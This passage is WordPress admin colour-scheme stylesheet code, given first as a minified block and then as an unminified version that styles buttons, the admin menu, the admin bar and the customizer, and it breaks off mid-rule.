.button.active:focus,.wp-core-ui .button.active:hover{border-color:#3858e9;color:#262a2e;box-shadow:inset 0 2px 5px -3px #3858e9}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#3858e9;border-color:#3858e9}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{border-color:#183ad6;color:#183ad6}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#667fee;color:#132ea8;box-shadow:0 0 0 1px #667fee}.wp-core-ui .button-primary:hover{color:#fff}.wp-core-ui .button-primary{background:#3858e9;border-color:#3858e9;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#4664eb;border-color:#2a4ce7;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #3858e9}.wp-core-ui .button-primary:active{background:#2145e6;border-color:#2145e6;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#3858e9;color:#fff;border-color:#1534bf;box-shadow:inset 0 2px 5px -3px #03081f}.wp-core-ui .button-group>.button.active{border-color:#3858e9}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#1e1e1e}.wp-core-ui .wp-ui-text-primary{color:#1e1e1e}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#3858e9}.wp-core-ui .wp-ui-text-highlight{color:#3858e9}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#3858e9}.wp-core-ui .wp-ui-text-notification{color:#3858e9}.wp-core-ui .wp-ui-text-icon{color:#f3f1f1}.wrap .page-title-action,.wrap .page-title-action:active{border:1px solid #3858e9;color:#3858e9}.wrap .page-title-action:hover{color:#183ad6;border-color:#183ad6}.wrap .page-title-action:focus{border-color:#667fee;color:#132ea8;box-shadow:0 0 0 1px #667fee}.view-switch a.current:before{color:#1e1e1e}.view-switch a:hover:before{color:#3858e9}#adminmenu,#adminmenuback,#adminmenuwrap{background:#1e1e1e}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#f3f1f1}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#3858e9}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#0c0c0c}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:#0c0c0c}#adminmenu .wp-submenu .wp-submenu-head{color:#bcbcbc}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#bcbcbc}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#33f078}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#33f078}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#3858e9}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#3858e9}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#0c0c0c}#collapse-button{color:#f3f1f1}#collapse-button:focus,#collapse-button:hover{color:#33f078}#wpadminbar{color:#fff;background:#1e1e1e}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#f3f1f1}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#33f078;background:#0c0c0c}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#33f078}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#33f078}#wpadminbar .menupop .ab-sub-wrapper{background:#0c0c0c}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#303030}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#bcbcbc}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#f3f1f1}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#33f078}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#33f078}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#f3f1f1}#wpadminbar #adminbarsearch:before{color:#f3f1f1}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#303030}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#3858e9}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#324fd2}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#303030;background-color:#303030}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#33f078}#wpadminbar #wp-admin-bar-user-info .username{color:#bcbcbc}.wp-pointer .wp-pointer-content h3{background-color:#3858e9;border-color:#2145e6}.wp-pointer .wp-pointer-content h3:before{color:#3858e9}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#3858e9}.media-item .bar,.media-progress-bar div{background-color:#3858e9}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #3858e9}.attachment.details .check{background-color:#3858e9;box-shadow:0 0 0 1px #fff,0 0 0 2px #3858e9}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #3858e9}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#3858e9}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#3858e9}.theme-filter.current,.theme-section.current{border-bottom-color:#1e1e1e}body.more-filters-opened .more-filters{color:#fff;background-color:#1e1e1e}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#3858e9;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#3858e9;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #667fee,0 0 2px 1px #3858e9}div#wp-responsive-toggle a:before{color:#f3f1f1}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#3858e9}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#0c0c0c}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#f3f1f1}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#3858e9}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#3858e9;border-right-color:#3858e9}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#3858e9;border-top-color:#3858e9}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#3858e9;border-right-color:#3858e9}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#3858e9}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #667fee,0 0 2px 1px #3858e9}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#3858e9}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#3858e9;color:#3858e9}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#3858e9}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#3858e9}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#3858e9}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#3858e9;border-style:solid;box-shadow:0 0 0 1px #3858e9;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#3858e9}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#3858e9}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#3858e9}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #667fee,0 0 2px 1px #3858e9}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#3858e9;color:#3858e9}/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #3858e9;
}
a:hover, a:active, a:focus {
  color: #183ad6;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #3858e9;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #183ad6;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #7e8993;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #183ad6;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #3858e9;
  box-shadow: 0 0 0 1px #3858e9;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #3858e9;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #3858e9;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button,
.wp-core-ui .button-secondary {
  color: #3858e9;
  border-color: #3858e9;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover {
  border-color: #183ad6;
  color: #183ad6;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
  border-color: #667fee;
  color: #132ea8;
  box-shadow: 0 0 0 1px #667fee;
}
.wp-core-ui .button-primary:hover {
  color: #fff;
}
.wp-core-ui .button-primary {
  background: #3858e9;
  border-color: #3858e9;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #4664eb;
  border-color: #2a4ce7;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #3858e9;
}
.wp-core-ui .button-primary:active {
  background: #2145e6;
  border-color: #2145e6;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #3858e9;
  color: #fff;
  border-color: #1534bf;
  box-shadow: inset 0 2px 5px -3px #03081f;
}
.wp-core-ui .button-group > .button.active {
  border-color: #3858e9;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #1e1e1e;
}
.wp-core-ui .wp-ui-text-primary {
  color: #1e1e1e;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #3858e9;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #3858e9;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #3858e9;
}
.wp-core-ui .wp-ui-text-notification {
  color: #3858e9;
}
.wp-core-ui .wp-ui-text-icon {
  color: hsl(0, 7%, 95%);
}

/* List tables */
.wrap .page-title-action,
.wrap .page-title-action:active {
  border: 1px solid #3858e9;
  color: #3858e9;
}

.wrap .page-title-action:hover {
  color: #183ad6;
  border-color: #183ad6;
}

.wrap .page-title-action:focus {
  border-color: #667fee;
  color: #132ea8;
  box-shadow: 0 0 0 1px #667fee;
}

.view-switch a.current:before {
  color: #1e1e1e;
}

.view-switch a:hover:before {
  color: #3858e9;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #1e1e1e;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: hsl(0, 7%, 95%);
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #3858e9;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #0c0c0c;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-right-color: #0c0c0c;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #bcbcbc;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #bcbcbc;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #33f078;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #33f078;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-right-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #3858e9;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #3858e9;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #0c0c0c;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: hsl(0, 7%, 95%);
}

#collapse-button:hover,
#collapse-button:focus {
  color: #33f078;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #1e1e1e;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: hsl(0, 7%, 95%);
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #33f078;
  background: #0c0c0c;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #33f078;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #33f078;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #0c0c0c;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #303030;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #bcbcbc;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: hsl(0, 7%, 95%);
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #33f078;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #33f078;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: hsl(0, 7%, 95%);
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: hsl(0, 7%, 95%);
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #303030;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #3858e9;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #324fd2;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #303030;
  background-color: #303030;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #33f078;
}

#wpadminbar #wp-admin-bar-user-info .username {
